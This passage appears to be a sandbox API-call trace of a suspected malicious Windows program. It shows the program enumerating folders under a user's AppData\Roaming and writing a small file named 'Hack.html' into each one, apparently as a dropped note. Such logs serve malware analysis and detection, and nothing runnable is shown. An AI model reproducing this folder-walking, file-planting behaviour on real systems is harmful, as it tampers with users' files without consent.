| out: lpFindFileData=0x39ea94) returned 1 [0079.301] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.301] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.302] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x5f [0079.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpFilePart=0x0) returned 0x60 [0079.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.302] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.302] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.302] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x5f [0079.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpFilePart=0x0) returned 0x60 [0079.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.303] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.303] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.303] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Hack.html", lpFilePart=0x0) returned 0x69 [0079.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.304] GetFileType (hFile=0x174) returned 0x1 [0079.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.304] GetFileType (hFile=0x174) returned 0x1 [0079.304] WriteFile (in: hFile=0x174, lpBuffer=0x2837230*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2837230*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\Hack.html", lpFilePart=0x0) returned 0x42 [0079.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0079.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.306] GetFileType (hFile=0x174) returned 0x1 [0079.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0079.306] GetFileType (hFile=0x174) returned 0x1 [0079.306] WriteFile (in: hFile=0x174, lpBuffer=0x2839a40*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2839a40*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0079.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.307] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x38 [0079.307] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\", lpFilePart=0x0) returned 0x39 [0079.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a028 [0079.308] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.308] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.308] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.308] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x38 [0079.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\", lpFilePart=0x0) returned 0x39 [0079.308] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a028 [0079.309] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.309] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.309] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.309] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.309] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x45 [0079.309] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpFilePart=0x0) returned 0x46 [0079.309] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.310] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.310] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.310] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.310] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.310] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x45 [0079.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpFilePart=0x0) returned 0x46 [0079.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.310] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.311] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.311] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.311] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.311] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x54 [0079.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpFilePart=0x0) returned 0x55 [0079.311] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.316] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.316] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.316] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.316] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x54 [0079.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpFilePart=0x0) returned 0x55 [0079.317] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.317] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.317] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.317] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.317] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB", lpFilePart=0x0) returned 0x5d [0079.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\", lpFilePart=0x0) returned 0x5e [0079.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.319] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.319] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.319] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB", lpFilePart=0x0) returned 0x5d [0079.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\", lpFilePart=0x0) returned 0x5e [0079.320] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.320] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.320] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.320] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\Hack.html", lpFilePart=0x0) returned 0x67 [0079.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\p7y3f7qb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.321] GetFileType (hFile=0x174) returned 0x1 [0079.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.321] GetFileType (hFile=0x174) returned 0x1 [0079.321] WriteFile (in: hFile=0x174, lpBuffer=0x28438c8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x28438c8*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Hack.html", lpFilePart=0x0) returned 0x5e [0079.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.323] GetFileType (hFile=0x174) returned 0x1 [0079.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.323] GetFileType (hFile=0x174) returned 0x1 [0079.323] WriteFile (in: hFile=0x174, lpBuffer=0x2846148*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2846148*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x54 [0079.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpFilePart=0x0) returned 0x55 [0079.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.324] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.324] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.324] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.324] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x54 [0079.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpFilePart=0x0) returned 0x55 [0079.325] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.325] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.325] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.325] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.325] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x5c [0079.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpFilePart=0x0) returned 0x5d 